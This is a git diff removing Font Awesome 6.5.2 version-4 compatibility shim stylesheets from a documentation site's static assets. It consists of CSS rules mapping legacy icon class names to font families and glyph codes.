-.fa.fa-chrome {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-firefox {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-opera {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-internet-explorer {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-television:before {
- content: "\f26c"; }
-
-.fa.fa-contao {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-500px {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-amazon {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-calendar-plus-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-calendar-plus-o:before {
- content: "\f271"; }
-
-.fa.fa-calendar-minus-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-calendar-minus-o:before {
- content: "\f272"; }
-
-.fa.fa-calendar-times-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-calendar-times-o:before {
- content: "\f273"; }
-
-.fa.fa-calendar-check-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-calendar-check-o:before {
- content: "\f274"; }
-
-.fa.fa-map-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-map-o:before {
- content: "\f279"; }
-
-.fa.fa-commenting:before {
- content: "\f4ad"; }
-
-.fa.fa-commenting-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-commenting-o:before {
- content: "\f4ad"; }
-
-.fa.fa-houzz {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-vimeo {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-vimeo:before {
- content: "\f27d"; }
-
-.fa.fa-black-tie {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-fonticons {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-reddit-alien {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-edge {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-credit-card-alt:before {
- content: "\f09d"; }
-
-.fa.fa-codiepie {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-modx {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-fort-awesome {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-usb {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-product-hunt {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-mixcloud {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-scribd {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-pause-circle-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-pause-circle-o:before {
- content: "\f28b"; }
-
-.fa.fa-stop-circle-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-stop-circle-o:before {
- content: "\f28d"; }
-
-.fa.fa-bluetooth {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-bluetooth-b {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-gitlab {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-wpbeginner {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-wpforms {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-envira {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-wheelchair-alt {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-wheelchair-alt:before {
- content: "\f368"; }
-
-.fa.fa-question-circle-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-question-circle-o:before {
- content: "\f059"; }
-
-.fa.fa-volume-control-phone:before {
- content: "\f2a0"; }
-
-.fa.fa-asl-interpreting:before {
- content: "\f2a3"; }
-
-.fa.fa-deafness:before {
- content: "\f2a4"; }
-
-.fa.fa-hard-of-hearing:before {
- content: "\f2a4"; }
-
-.fa.fa-glide {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-glide-g {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-signing:before {
- content: "\f2a7"; }
-
-.fa.fa-viadeo {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-viadeo-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-viadeo-square:before {
- content: "\f2aa"; }
-
-.fa.fa-snapchat {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-snapchat-ghost {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-snapchat-ghost:before {
- content: "\f2ab"; }
-
-.fa.fa-snapchat-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-snapchat-square:before {
- content: "\f2ad"; }
-
-.fa.fa-pied-piper {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-first-order {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-yoast {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-themeisle {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-google-plus-official {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-google-plus-official:before {
- content: "\f2b3"; }
-
-.fa.fa-google-plus-circle {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-google-plus-circle:before {
- content: "\f2b3"; }
-
-.fa.fa-font-awesome {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-fa {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-fa:before {
- content: "\f2b4"; }
-
-.fa.fa-handshake-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-handshake-o:before {
- content: "\f2b5"; }
-
-.fa.fa-envelope-open-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-envelope-open-o:before {
- content: "\f2b6"; }
-
-.fa.fa-linode {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-address-book-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-address-book-o:before {
- content: "\f2b9"; }
-
-.fa.fa-vcard:before {
- content: "\f2bb"; }
-
-.fa.fa-address-card-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-address-card-o:before {
- content: "\f2bb"; }
-
-.fa.fa-vcard-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-vcard-o:before {
- content: "\f2bb"; }
-
-.fa.fa-user-circle-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-user-circle-o:before {
- content: "\f2bd"; }
-
-.fa.fa-user-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-user-o:before {
- content: "\f007"; }
-
-.fa.fa-id-badge {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-drivers-license:before {
- content: "\f2c2"; }
-
-.fa.fa-id-card-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-id-card-o:before {
- content: "\f2c2"; }
-
-.fa.fa-drivers-license-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-drivers-license-o:before {
- content: "\f2c2"; }
-
-.fa.fa-quora {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-free-code-camp {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-telegram {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-thermometer-4:before {
- content: "\f2c7"; }
-
-.fa.fa-thermometer:before {
- content: "\f2c7"; }
-
-.fa.fa-thermometer-3:before {
- content: "\f2c8"; }
-
-.fa.fa-thermometer-2:before {
- content: "\f2c9"; }
-
-.fa.fa-thermometer-1:before {
- content: "\f2ca"; }
-
-.fa.fa-thermometer-0:before {
- content: "\f2cb"; }
-
-.fa.fa-bathtub:before {
- content: "\f2cd"; }
-
-.fa.fa-s15:before {
- content: "\f2cd"; }
-
-.fa.fa-window-maximize {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-window-restore {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-times-rectangle:before {
- content: "\f410"; }
-
-.fa.fa-window-close-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-window-close-o:before {
- content: "\f410"; }
-
-.fa.fa-times-rectangle-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-times-rectangle-o:before {
- content: "\f410"; }
-
-.fa.fa-bandcamp {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-grav {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-etsy {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-imdb {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-ravelry {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-eercast {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-eercast:before {
- content: "\f2da"; }
-
-.fa.fa-snowflake-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-snowflake-o:before {
- content: "\f2dc"; }
-
-.fa.fa-superpowers {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-wpexplorer {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-meetup {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
diff --git a/documentation/frontend/static/fontawesome/css/v4-shims.min.css b/documentation/frontend/static/fontawesome/css/v4-shims.min.css
deleted file mode 100644
index 09baf5f..0000000
--- a/documentation/frontend/static/fontawesome/css/v4-shims.min.css
+++ /dev/null
@@ -1,6 +0,0 @@
-/*!
- * Font Awesome Free 6.5.2 by @fontawesome - https://fontawesome.com
- * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
- * Copyright 2024 Fonticons, Inc.
- */
-.fa.fa-glass:before{content:"\f000"}.fa.fa-envelope-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-envelope-o:before{content:"\f0e0"}.fa.fa-star-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-star-o:before{content:"\f005"}.fa.fa-close:before,.fa.fa-remove:before{content:"\f00d"}.fa.fa-gear:before{content:"\f013"}.fa.fa-trash-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-trash-o:before{content:"\f2ed"}.fa.fa-home:before{content:"\f015"}.fa.fa-file-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-o:before{content:"\f15b"}.fa.fa-clock-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-clock-o:before{content:"\f017"}.fa.fa-arrow-circle-o-down{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-arrow-circle-o-down:before{content:"\f358"}.fa.fa-arrow-circle-o-up{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-arrow-circle-o-up:before{content:"\f35b"}.fa.fa-play-circle-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-play-circle-o:before{content:"\f144"}.fa.fa-repeat:before,.fa.fa-rotate-right:before{content:"\f01e"}.fa.fa-refresh:before{content:"\f021"}.fa.fa-list-alt{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-list-alt:before{content:"\f022"}.fa.fa-dedent:before{content:"\f03b"}.fa.fa-video-camera:before{content:"\f03d"}.fa.fa-picture-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-picture-o:before{content:"\f03e"}.fa.fa-photo{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-photo:before{content:"\f03e"}.fa.fa-image{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-image:before{content:"\f03e"}.fa.fa-map-marker:before{content:"\f3c5"}.fa.fa-pencil-square-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-pencil-square-o:before{content:"\f044"}.fa.fa-edit{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-edit:before{content:"\f044"}.fa.fa-share-square-o:before{content:"\f14d"}.fa.fa-check-square-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-check-square-o:before{content:"\f14a"}.fa.fa-arrows:before{content:"\f0b2"}.fa.fa-times-circle-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-times-circle-o:before{content:"\f057"}.fa.fa-check-circle-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-check-circle-o:before{content:"\f058"}.fa.fa-mail-forward:before{content:"\f064"}.fa.fa-expand:before{content:"\f424"}.fa.fa-compress:before{content:"\f422"}.fa.fa-eye,.fa.fa-eye-slash{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-warning:before{content:"\f071"}.fa.fa-calendar:before{content:"\f073"}.fa.fa-arrows-v:before{content:"\f338"}.fa.fa-arrows-h:before{content:"\f337"}.fa.fa-bar-chart-o:before,.fa.fa-bar-chart:before{content:"\e0e3"}.fa.fa-twitter-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-twitter-square:before{content:"\f081"}.fa.fa-facebook-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-facebook-square:before{content:"\f082"}.fa.fa-gears:before{content:"\f085"}.fa.fa-thumbs-o-up{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-thumbs-o-up:before{content:"\f164"}.fa.fa-thumbs-o-down{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-thumbs-o-down:before{content:"\f165"}.fa.fa-heart-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-heart-o:before{content:"\f004"}.fa.fa-sign-out:before{content:"\f2f5"}.fa.fa-linkedin-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-linkedin-square:before{content:"\f08c"}.fa.fa-thumb-tack:before{content:"\f08d"}.fa.fa-external-link:before{content:"\f35d"}.fa.fa-sign-in:before{content:"\f2f6"}.fa.fa-github-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-github-square:before{content:"\f092"}.fa.fa-lemon-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-lemon-o:before{content:"\f094"}.fa.fa-square-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-square-o:before{content:"\f0c8"}.fa.fa-bookmark-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-bookmark-o:before{content:"\f02e"}.fa.fa-facebook,.fa.fa-twitter{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-facebook:before{content:"\f39e"}.fa.fa-facebook-f{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-facebook-f:before{content:"\f39e"}.fa.fa-github{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-credit-card{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-feed:before{content:"\f09e"}.fa.fa-hdd-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hdd-o:before{content:"\f0a0"}.fa.fa-hand-o-right{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hand-o-right:before{content:"\f0a4"}.fa.fa-hand-o-left{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hand-o-left:before{content:"\f0a5"}.fa.fa-hand-o-up{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hand-o-up:before{content:"\f0a6"}.fa.fa-hand-o-down{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hand-o-down:before{content:"\f0a7"}.fa.fa-globe:before{content:"\f57d"}.fa.fa-tasks:before{content:"\f828"}.fa.fa-arrows-alt:before{content:"\f31e"}.fa.fa-group:before{content:"\f0c0"}.fa.fa-chain:before{content:"\f0c1"}.fa.fa-cut:before{content:"\f0c4"}.fa.fa-files-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-files-o:before{content:"\f0c5"}.fa.fa-floppy-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-floppy-o:before{content:"\f0c7"}.fa.fa-save{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-save:before{content:"\f0c7"}.fa.fa-navicon:before,.fa.fa-reorder:before{content:"\f0c9"}.fa.fa-magic:before{content:"\e2ca"}.fa.fa-pinterest,.fa.fa-pinterest-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-pinterest-square:before{content:"\f0d3"}.fa.fa-google-plus-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-google-plus-square:before{content:"\f0d4"}.fa.fa-google-plus{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-google-plus:before{content:"\f0d5"}.fa.fa-money:before{content:"\f3d1"}.fa.fa-unsorted:before{content:"\f0dc"}.fa.fa-sort-desc:before{content:"\f0dd"}.fa.fa-sort-asc:before{content:"\f0de"}.fa.fa-linkedin{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-linkedin:before{content:"\f0e1"}.fa.fa-rotate-left:before{content:"\f0e2"}.fa.fa-legal:before{content:"\f0e3"}.fa.fa-dashboard:before,.fa.fa-tachometer:before{content:"\f625"}.fa.fa-comment-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-comment-o:before{content:"\f075"}.fa.fa-comments-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-comments-o:before{content:"\f086"}.fa.fa-flash:before{content:"\f0e7"}.fa.fa-clipboard:before{content:"\f0ea"}.fa.fa-lightbulb-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-lightbulb-o:before{content:"\f0eb"}.fa.fa-exchange:before{content:"\f362"}.fa.fa-cloud-download:before{content:"\f0ed"}.fa.fa-cloud-upload:before{content:"\f0ee"}.fa.fa-bell-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-bell-o:before{content:"\f0f3"}.fa.fa-cutlery:before{content:"\f2e7"}.fa.fa-file-text-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-text-o:before{content:"\f15c"}.fa.fa-building-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-building-o:before{content:"\f1ad"}.fa.fa-hospital-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-hospital-o:before{content:"\f0f8"}.fa.fa-tablet:before{content:"\f3fa"}.fa.fa-mobile-phone:before,.fa.fa-mobile:before{content:"\f3cd"}.fa.fa-circle-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-circle-o:before{content:"\f111"}.fa.fa-mail-reply:before{content:"\f3e5"}.fa.fa-github-alt{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-folder-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-folder-o:before{content:"\f07b"}.fa.fa-folder-open-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-folder-open-o:before{content:"\f07c"}.fa.fa-smile-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-smile-o:before{content:"\f118"}.fa.fa-frown-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-frown-o:before{content:"\f119"}.fa.fa-meh-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-meh-o:before{content:"\f11a"}.fa.fa-keyboard-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-keyboard-o:before{content:"\f11c"}.fa.fa-flag-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-flag-o:before{content:"\f024"}.fa.fa-mail-reply-all:before{content:"\f122"}.fa.fa-star-half-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-star-half-o:before{content:"\f5c0"}.fa.fa-star-half-empty{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-star-half-empty:before{content:"\f5c0"}.fa.fa-star-half-full{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-star-half-full:before{content:"\f5c0"}.fa.fa-code-fork:before{content:"\f126"}.fa.fa-chain-broken:before,.fa.fa-unlink:before{content:"\f127"}.fa.fa-calendar-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-calendar-o:before{content:"\f133"}.fa.fa-css3,.fa.fa-html5,.fa.fa-maxcdn{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-unlock-alt:before{content:"\f09c"}.fa.fa-minus-square-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-minus-square-o:before{content:"\f146"}.fa.fa-level-up:before{content:"\f3bf"}.fa.fa-level-down:before{content:"\f3be"}.fa.fa-pencil-square:before{content:"\f14b"}.fa.fa-external-link-square:before{content:"\f360"}.fa.fa-compass{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-caret-square-o-down{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-caret-square-o-down:before{content:"\f150"}.fa.fa-toggle-down{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-toggle-down:before{content:"\f150"}.fa.fa-caret-square-o-up{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-caret-square-o-up:before{content:"\f151"}.fa.fa-toggle-up{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-toggle-up:before{content:"\f151"}.fa.fa-caret-square-o-right{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-caret-square-o-right:before{content:"\f152"}.fa.fa-toggle-right{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-toggle-right:before{content:"\f152"}.fa.fa-eur:before,.fa.fa-euro:before{content:"\f153"}.fa.fa-gbp:before{content:"\f154"}.fa.fa-dollar:before,.fa.fa-usd:before{content:"\24"}.fa.fa-inr:before,.fa.fa-rupee:before{content:"\e1bc"}.fa.fa-cny:before,.fa.fa-jpy:before,.fa.fa-rmb:before,.fa.fa-yen:before{content:"\f157"}.fa.fa-rouble:before,.fa.fa-rub:before,.fa.fa-ruble:before{content:"\f158"}.fa.fa-krw:before,.fa.fa-won:before{content:"\f159"}.fa.fa-bitcoin,.fa.fa-btc{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-bitcoin:before{content:"\f15a"}.fa.fa-file-text:before{content:"\f15c"}.fa.fa-sort-alpha-asc:before{content:"\f15d"}.fa.fa-sort-alpha-desc:before{content:"\f881"}.fa.fa-sort-amount-asc:before{content:"\f884"}.fa.fa-sort-amount-desc:before{content:"\f160"}.fa.fa-sort-numeric-asc:before{content:"\f162"}.fa.fa-sort-numeric-desc:before{content:"\f886"}.fa.fa-youtube-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-youtube-square:before{content:"\f431"}.fa.fa-xing,.fa.fa-xing-square,.fa.fa-youtube{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-xing-square:before{content:"\f169"}.fa.fa-youtube-play{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-youtube-play:before{content:"\f167"}.fa.fa-adn,.fa.fa-bitbucket,.fa.fa-bitbucket-square,.fa.fa-dropbox,.fa.fa-flickr,.fa.fa-instagram,.fa.fa-stack-overflow{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-bitbucket-square:before{content:"\f171"}.fa.fa-tumblr,.fa.fa-tumblr-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-tumblr-square:before{content:"\f174"}.fa.fa-long-arrow-down:before{content:"\f309"}.fa.fa-long-arrow-up:before{content:"\f30c"}.fa.fa-long-arrow-left:before{content:"\f30a"}.fa.fa-long-arrow-right:before{content:"\f30b"}.fa.fa-android,.fa.fa-apple,.fa.fa-dribbble,.fa.fa-foursquare,.fa.fa-gittip,.fa.fa-gratipay,.fa.fa-linux,.fa.fa-skype,.fa.fa-trello,.fa.fa-windows{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-gittip:before{content:"\f184"}.fa.fa-sun-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-sun-o:before{content:"\f185"}.fa.fa-moon-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-moon-o:before{content:"\f186"}.fa.fa-pagelines,.fa.fa-renren,.fa.fa-stack-exchange,.fa.fa-vk,.fa.fa-weibo{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-arrow-circle-o-right{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-arrow-circle-o-right:before{content:"\f35a"}.fa.fa-arrow-circle-o-left{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-arrow-circle-o-left:before{content:"\f359"}.fa.fa-caret-square-o-left{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-caret-square-o-left:before{content:"\f191"}.fa.fa-toggle-left{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-toggle-left:before{content:"\f191"}.fa.fa-dot-circle-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-dot-circle-o:before{content:"\f192"}.fa.fa-vimeo-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-vimeo-square:before{content:"\f194"}.fa.fa-try:before,.fa.fa-turkish-lira:before{content:"\e2bb"}.fa.fa-plus-square-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-plus-square-o:before{content:"\f0fe"}.fa.fa-openid,.fa.fa-slack,.fa.fa-wordpress{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-bank:before,.fa.fa-institution:before{content:"\f19c"}.fa.fa-mortar-board:before{content:"\f19d"}.fa.fa-google,.fa.fa-reddit,.fa.fa-reddit-square,.fa.fa-yahoo{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-reddit-square:before{content:"\f1a2"}.fa.fa-behance,.fa.fa-behance-square,.fa.fa-delicious,.fa.fa-digg,.fa.fa-drupal,.fa.fa-joomla,.fa.fa-pied-piper-alt,.fa.fa-pied-piper-pp,.fa.fa-stumbleupon,.fa.fa-stumbleupon-circle{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-behance-square:before{content:"\f1b5"}.fa.fa-steam,.fa.fa-steam-square{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-steam-square:before{content:"\f1b7"}.fa.fa-automobile:before{content:"\f1b9"}.fa.fa-cab:before{content:"\f1ba"}.fa.fa-deviantart,.fa.fa-soundcloud,.fa.fa-spotify{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-file-pdf-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-pdf-o:before{content:"\f1c1"}.fa.fa-file-word-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-word-o:before{content:"\f1c2"}.fa.fa-file-excel-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-excel-o:before{content:"\f1c3"}.fa.fa-file-powerpoint-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-powerpoint-o:before{content:"\f1c4"}.fa.fa-file-image-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-image-o:before{content:"\f1c5"}.fa.fa-file-photo-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-photo-o:before{content:"\f1c5"}.fa.fa-file-picture-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-picture-o:before{content:"\f1c5"}.fa.fa-file-archive-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-archive-o:before{content:"\f1c6"}.fa.fa-file-zip-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-zip-o:before{content:"\f1c6"}.fa.fa-file-audio-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-audio-o:before{content:"\f1c7"}.fa.fa-file-sound-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-sound-o:before{content:"\f1c7"}.fa.fa-file-video-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-video-o:before{content:"\f1c8"}.fa.fa-file-movie-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-movie-o:before{content:"\f1c8"}.fa.fa-file-code-o{font-family:"Font Awesome 6 Free";font-weight:400}.fa.fa-file-code-o:before{content:"\f1c9"}.fa.fa-codepen,.fa.fa-jsfiddle,.fa.fa-vine{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-life-bouy:before,.fa.fa-life-buoy:before,.fa.fa-life-saver:before,.fa.fa-support:before{content:"\f1cd"}.fa.fa-circle-o-notch:before{content:"\f1ce"}.fa.fa-ra,.fa.fa-rebel{font-family:"Font Awesome 6 Brands";font-weight:400}.fa.fa-ra:before{content:"\f1d0"}.fa.fa-resistance{font-family:"Font Awesome 6 